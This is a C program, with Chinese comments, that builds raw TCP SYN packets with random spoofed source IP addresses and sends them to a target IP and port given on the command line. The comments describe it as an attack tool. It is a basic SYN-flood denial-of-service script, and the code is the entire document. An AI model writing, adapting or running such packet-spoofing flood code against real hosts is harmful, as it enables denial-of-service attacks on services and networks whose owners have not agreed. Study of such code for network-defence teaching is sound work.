#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#define LOCALPORT 8888 //本机发起攻击端口
void send_tcp(int sockfd,struct sockaddr_in *addr);
int main(int argc,char *argv[])
{
int sockfd; //定义一个描述符
int port;
struct sockaddr_in addr;
int on; //on是在setsockopt函数中允许自己填充ip栈,也可以是布尔类型
on = 1;
if(argc != 3){ //判断参数个数
fprintf(stderr,"Usage:%s IP PORT\n\a",argv[0]);
exit(1);
}
port = atoi(argv[2]);
if(port<1 || port>65535){
fprintf(stderr,"%s error, PORT:[0-65535]\n\a",argv[2]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));//清空自己建的结构体
addr.sin_family = AF_INET;//internet
addr.sin_port = htons(port);//设置端口
inet_aton(argv[1],&addr.sin_addr);//IP转换
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);//创建socket套接字
if(sockfd<0){
perror("socket Error");
exit(1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));//设置ip协议栈,告诉内核,老子要自己写数据包
setuid(getuid());//要求超级用户
send_tcp(sockfd,&addr);//填充—+攻击
return 0;
}
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];//用于存放数据包
struct ip *ip;
struct tcphdr *tcp;
int head_len,t;
head_len = sizeof(struct ip) + sizeof(struct tcphdr);//计算ip+tcp包长度
bzero(buffer,100);
ip = (struct ip *)buffer;
ip->ip_v = IPVERSION;//一般版本为4
ip->ip_hl = sizeof(struct ip)>>2;//除去版本号的IP头部长度
ip->ip_tos = 0;
ip->ip_len = htons(head_len);
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = 64;
ip->ip_p = IPPROTO_TCP;//发送tcp包
ip->ip_sum = 0;//校验和,系统自己填充
ip->ip_dst = addr->sin_addr;//攻击的目标IP
printf("dest address is %s\n",inet_ntoa(addr->sin_addr));
tcp = (struct tcphdr *)(buffer+sizeof(struct ip));
tcp->source = htons(LOCALPORT);
tcp->dest = addr->sin_port;
tcp->seq = random();//随机数函数
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
tcp->check = 0;
for(t=0;t<5;t++){
ip->ip_src.s_addr=random();
//inet_aton(random(),&ip->ip_src.s_addr);
printf("My addr is %d !\n",ip->ip_src.s_addr);
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr));
}
}